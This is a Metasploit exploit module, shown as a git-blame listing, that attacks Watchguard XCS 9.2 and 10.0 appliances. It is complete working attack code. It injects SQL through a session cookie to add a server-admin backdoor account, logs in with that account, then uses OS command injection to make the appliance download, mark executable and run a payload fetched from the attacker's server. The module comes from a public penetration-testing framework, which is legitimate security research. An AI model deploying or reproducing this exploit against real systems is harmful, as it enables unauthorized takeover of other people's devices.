2015-07-01 09:11:23 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2015-07-01 09:11:23 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2015-09-16 11:29:26 +00:00
|
|
|
'Name' => 'Watchguard XCS Remote Command Execution',
|
2015-07-02 01:06:03 +00:00
|
|
|
'Description' => %q{
|
2015-09-25 14:35:30 +00:00
|
|
|
This module exploits two separate vulnerabilities found in the Watchguard XCS virtual
|
|
|
|
appliance to gain command execution. By exploiting an unauthenticated SQL injection, a
|
|
|
|
remote attacker may insert a valid web user into the appliance database, and get access
|
|
|
|
to the web interface. On the other hand, a vulnerability in the web interface allows the
|
|
|
|
attacker to inject operating system commands as the 'nobody' user.
|
2015-07-02 01:06:03 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2015-07-01 09:11:23 +00:00
|
|
|
'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module
|
2015-07-02 01:06:03 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2015-09-25 15:10:08 +00:00
|
|
|
['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
|
2015-07-02 01:06:03 +00:00
|
|
|
],
|
|
|
|
'Platform' => 'bsd',
|
2016-10-27 21:16:05 +00:00
|
|
|
'Arch' => ARCH_X64,
|
2015-07-02 01:06:03 +00:00
|
|
|
'Privileged' => false,
|
2015-09-23 12:20:13 +00:00
|
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
2015-07-02 01:06:03 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Watchguard XCS 9.2/10.0', { }]
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'SSL' => true
|
|
|
|
},
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jun 29 2015'
|
|
|
|
))
|
2015-07-01 09:11:23 +00:00
|
|
|
|
|
|
|
register_options(
|
2015-07-02 01:06:03 +00:00
|
|
|
[
|
2015-07-01 09:11:23 +00:00
|
|
|
OptString.new('TARGETURI', [true, 'The target URI', '/']),
|
2015-09-25 14:36:47 +00:00
|
|
|
OptString.new('WATCHGUARD_USER', [true, 'Web interface user account to add', 'backdoor']),
|
|
|
|
OptString.new('WATCHGUARD_PASSWORD', [true, 'Web interface user password', 'backdoor']),
|
2015-09-23 12:20:13 +00:00
|
|
|
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
|
2015-07-01 09:11:23 +00:00
|
|
|
Opt::RPORT(443)
|
2015-07-02 01:06:03 +00:00
|
|
|
],
|
|
|
|
self.class
|
|
|
|
)
|
|
|
|
end
|
2015-07-01 09:11:23 +00:00
|
|
|
|
2015-07-02 01:06:03 +00:00
|
|
|
def check
|
|
|
|
#Check to see if the SQLi is present
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
|
|
|
|
'cookie' => "sid=1'"
|
|
|
|
})
|
2015-09-25 14:51:00 +00:00
|
|
|
|
2015-09-25 15:10:08 +00:00
|
|
|
if res && res.body && res.body.include?('unterminated quoted string')
|
2015-07-01 09:11:23 +00:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
2015-09-25 14:51:00 +00:00
|
|
|
|
|
|
|
Exploit::CheckCode::Safe
|
2015-07-02 01:06:03 +00:00
|
|
|
end
|
2015-07-01 09:11:23 +00:00
|
|
|
|
|
|
|
|
2015-07-02 01:06:03 +00:00
|
|
|
def exploit
|
2015-09-25 15:45:19 +00:00
|
|
|
# Get a valid session by logging in or exploiting SQLi to add user
|
|
|
|
print_status('Getting a valid session...')
|
2015-09-23 12:20:13 +00:00
|
|
|
@sid = get_session
|
2015-09-25 15:45:19 +00:00
|
|
|
print_status('Successfully logged in')
|
2015-07-01 09:11:23 +00:00
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
# Check if cmd injection works
|
2015-09-25 14:51:00 +00:00
|
|
|
test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')
|
|
|
|
unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534')
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
|
2015-07-01 09:11:23 +00:00
|
|
|
end
|
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
# We have cmd exec, stand up an HTTP server and deliver the payload
|
2015-09-25 14:51:00 +00:00
|
|
|
vprint_status('Getting ready to drop binary on appliance')
|
2015-07-01 09:11:23 +00:00
|
|
|
|
2015-09-25 15:10:08 +00:00
|
|
|
@elf_sent = false
|
2015-09-25 15:45:19 +00:00
|
|
|
# Generate payload
|
2015-07-01 09:11:23 +00:00
|
|
|
@pl = generate_payload_exe
|
2015-09-25 15:10:08 +00:00
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
# Start the server and use primer to trigger fetching and running of the payload
|
2015-09-23 12:20:13 +00:00
|
|
|
begin
|
2015-09-25 14:51:00 +00:00
|
|
|
Timeout.timeout(datastore['HTTPDELAY']) { super }
|
2015-09-23 12:20:13 +00:00
|
|
|
rescue Timeout::Error
|
2015-07-01 09:11:23 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2015-09-25 14:51:00 +00:00
|
|
|
def attempt_login(username, pwd_clear)
|
2015-07-02 01:06:03 +00:00
|
|
|
#Attempts to login with the provided user credentials
|
|
|
|
#Get the login page
|
|
|
|
get_login_hash = send_request_cgi({
|
2015-09-25 14:51:00 +00:00
|
|
|
'uri' => normalize_uri(target_uri.path, '/login.spl')
|
2015-07-02 01:06:03 +00:00
|
|
|
})
|
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
unless get_login_hash && get_login_hash.body
|
2015-09-25 14:51:00 +00:00
|
|
|
fail_with(Failure::Unreachable, 'Could not get login page.')
|
2015-07-02 01:06:03 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#Find the hash token needed to login
|
|
|
|
login_hash = ''
|
|
|
|
get_login_hash.body.each_line do |line|
|
2015-09-25 14:51:00 +00:00
|
|
|
next if line !~ /name="hash" value="(.*)"/
|
2015-07-02 01:06:03 +00:00
|
|
|
login_hash = $1
|
2015-09-25 14:51:00 +00:00
|
|
|
break
|
2015-07-02 01:06:03 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || ''
|
|
|
|
if login_hash == '' || sid_cookie == ''
|
2015-09-25 14:51:00 +00:00
|
|
|
fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie')
|
2015-07-02 01:06:03 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
login_post = {
|
|
|
|
'u' => "#{username}",
|
|
|
|
'pwd' => "#{pwd_clear}",
|
|
|
|
'hash' => login_hash,
|
2015-09-25 14:51:00 +00:00
|
|
|
'login' => 'Login'
|
2015-07-02 01:06:03 +00:00
|
|
|
}
|
2015-09-25 14:51:00 +00:00
|
|
|
print_status('Attempting to login with provided credentials')
|
2015-07-02 01:06:03 +00:00
|
|
|
login = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/login.spl'),
|
|
|
|
'method' => 'POST',
|
|
|
|
'encode_params' => false,
|
|
|
|
'cookie' => "sid=#{sid_cookie}",
|
|
|
|
'vars_post' => login_post,
|
|
|
|
'vars_get' => {
|
|
|
|
'f' => 'V'
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
unless login && login.body && login.body.include?('<title>Loading...</title>')
|
2015-09-25 14:51:00 +00:00
|
|
|
return nil
|
2015-07-02 01:06:03 +00:00
|
|
|
end
|
|
|
|
|
2015-09-25 14:51:00 +00:00
|
|
|
sid_cookie
|
2015-07-02 01:06:03 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def add_user(user_id, username, pwd_hash, pwd_clear)
|
|
|
|
#Adds a user to the database using the unauthed SQLi
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
|
|
|
|
'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--"
|
|
|
|
})
|
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
unless res && res.body
|
2015-07-02 01:06:03 +00:00
|
|
|
fail_with(Failure::Unreachable, "Could not connect to host")
|
|
|
|
end
|
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
if res.body.include?('ERROR: duplicate key value violates unique constraint')
|
2015-07-02 01:06:03 +00:00
|
|
|
print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")
|
|
|
|
else
|
2015-09-25 15:45:19 +00:00
|
|
|
fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
|
2015-07-02 01:06:03 +00:00
|
|
|
end
|
2015-09-25 14:51:00 +00:00
|
|
|
|
|
|
|
true
|
2015-07-02 01:06:03 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def generate_device_hash(cleartext_password)
|
|
|
|
#Generates the specific hashes needed for the XCS
|
2015-09-25 14:51:00 +00:00
|
|
|
pre_salt = 'BorderWare '
|
|
|
|
post_salt = ' some other random (9) stuff'
|
2015-09-13 04:23:23 +00:00
|
|
|
hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt)
|
|
|
|
final_hash = Rex::Text.md5(cleartext_password + hash_tmp)
|
2015-09-25 14:51:00 +00:00
|
|
|
|
|
|
|
final_hash
|
2015-07-02 01:06:03 +00:00
|
|
|
end
|
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
def send_cmd_exec(uri, os_cmd, blocking = true)
|
2015-09-23 12:20:13 +00:00
|
|
|
#This is a handler function that makes HTTP calls to exploit the command injection issue
|
|
|
|
unless @sid
|
2015-09-25 14:51:00 +00:00
|
|
|
fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.')
|
2015-09-23 12:20:13 +00:00
|
|
|
end
|
2015-09-25 14:51:00 +00:00
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
opts = {
|
2015-07-02 01:06:03 +00:00
|
|
|
'uri' => normalize_uri(target_uri.path, "#{uri}"),
|
2015-09-23 12:20:13 +00:00
|
|
|
'cookie' => "sid=#{@sid}",
|
2015-07-02 01:06:03 +00:00
|
|
|
'encode_params' => true,
|
|
|
|
'vars_get' => {
|
|
|
|
'f' => 'dnld',
|
|
|
|
'id' => ";#{os_cmd}"
|
|
|
|
}
|
2015-09-25 15:45:19 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
if blocking
|
|
|
|
res = send_request_cgi(opts)
|
|
|
|
else
|
|
|
|
res = send_request_cgi(opts, 1)
|
|
|
|
end
|
2015-07-01 09:11:23 +00:00
|
|
|
|
|
|
|
#Handle cmd exec failures
|
2015-09-25 15:45:19 +00:00
|
|
|
if res.nil? && blocking
|
2015-09-25 14:51:00 +00:00
|
|
|
fail_with(Failure::Unknown, 'Failed to exploit command injection.')
|
2015-07-01 09:11:23 +00:00
|
|
|
end
|
2015-07-02 01:06:03 +00:00
|
|
|
|
2015-09-25 14:51:00 +00:00
|
|
|
res
|
2015-07-01 09:11:23 +00:00
|
|
|
end
|
|
|
|
|
2015-09-23 12:20:13 +00:00
|
|
|
def get_session
|
|
|
|
#Gets a valid login session, either valid creds or the SQLi vulnerability
|
2015-09-25 14:36:47 +00:00
|
|
|
username = datastore['WATCHGUARD_USER']
|
|
|
|
pwd_clear = datastore['WATCHGUARD_PASSWORD']
|
2015-09-23 12:20:13 +00:00
|
|
|
user_id = rand(999)
|
|
|
|
|
|
|
|
sid_cookie = attempt_login(username, pwd_clear)
|
2015-09-25 14:51:00 +00:00
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
return sid_cookie unless sid_cookie.nil?
|
2015-09-23 12:20:13 +00:00
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
vprint_error('Failed to login, attempting to add backdoor user...')
|
|
|
|
pwd_hash = generate_device_hash(pwd_clear)
|
|
|
|
|
|
|
|
unless add_user(user_id, username, pwd_hash, pwd_clear)
|
|
|
|
fail_with(Failure::Unknown, 'Failed to add user account to database.')
|
|
|
|
end
|
2015-09-23 12:20:13 +00:00
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
sid_cookie = attempt_login(username, pwd_clear)
|
|
|
|
|
|
|
|
unless sid_cookie
|
|
|
|
fail_with(Failure::Unknown, 'Unable to login with user account.')
|
2015-09-23 12:20:13 +00:00
|
|
|
end
|
2015-09-25 14:51:00 +00:00
|
|
|
|
|
|
|
sid_cookie
|
2015-09-23 12:20:13 +00:00
|
|
|
end
|
|
|
|
|
2015-09-25 14:51:00 +00:00
|
|
|
# Make the server download the payload and run it
|
2015-09-23 12:20:13 +00:00
|
|
|
def primer
|
2015-09-25 14:51:00 +00:00
|
|
|
vprint_status('Primer hook called, make the server get and run exploit')
|
2015-09-23 12:20:13 +00:00
|
|
|
|
|
|
|
#Gets the autogenerated uri from the mixin
|
|
|
|
payload_uri = get_uri
|
|
|
|
|
|
|
|
filename = rand_text_alpha_lower(8)
|
|
|
|
print_status("Sending download request for #{payload_uri}")
|
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
download_cmd = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"
|
|
|
|
vprint_status("Telling appliance to run #{download_cmd}")
|
|
|
|
send_cmd_exec('/ADMIN/mailqueue.spl', download_cmd)
|
2015-09-23 12:20:13 +00:00
|
|
|
register_file_for_cleanup("/tmp/#{filename}")
|
|
|
|
|
|
|
|
chmod_cmd = "chmod +x /tmp/#{filename}"
|
2015-09-25 14:51:00 +00:00
|
|
|
vprint_status('Chmoding the payload...')
|
|
|
|
send_cmd_exec("/ADMIN/mailqueue.spl", chmod_cmd)
|
2015-09-23 12:20:13 +00:00
|
|
|
|
|
|
|
exec_cmd = "/tmp/#{filename}"
|
2015-09-25 14:51:00 +00:00
|
|
|
vprint_status('Running the payload...')
|
2015-09-25 15:45:19 +00:00
|
|
|
send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false)
|
2015-09-23 12:20:13 +00:00
|
|
|
|
2015-09-25 15:45:19 +00:00
|
|
|
vprint_status('Finished primer hook, raising Timeout::Error manually')
|
|
|
|
raise(Timeout::Error)
|
2015-09-23 12:20:13 +00:00
|
|
|
end
|
|
|
|
|
2015-07-02 01:06:03 +00:00
|
|
|
#Handle incoming requests from the server
|
2015-07-01 09:11:23 +00:00
|
|
|
def on_request_uri(cli, request)
|
|
|
|
vprint_status("on_request_uri called: #{request.inspect}")
|
2015-09-25 14:51:00 +00:00
|
|
|
print_status('Sending the payload to the server...')
|
2015-07-01 09:11:23 +00:00
|
|
|
@elf_sent = true
|
|
|
|
send_response(cli, @pl)
|
|
|
|
end
|
2015-09-25 14:51:00 +00:00
|
|
|
|
2015-10-13 22:56:18 +00:00
|
|
|
def autofilter
|
|
|
|
true
|
|
|
|
end
|
|
|
|
|
2015-07-01 09:11:23 +00:00
|
|
|
end
|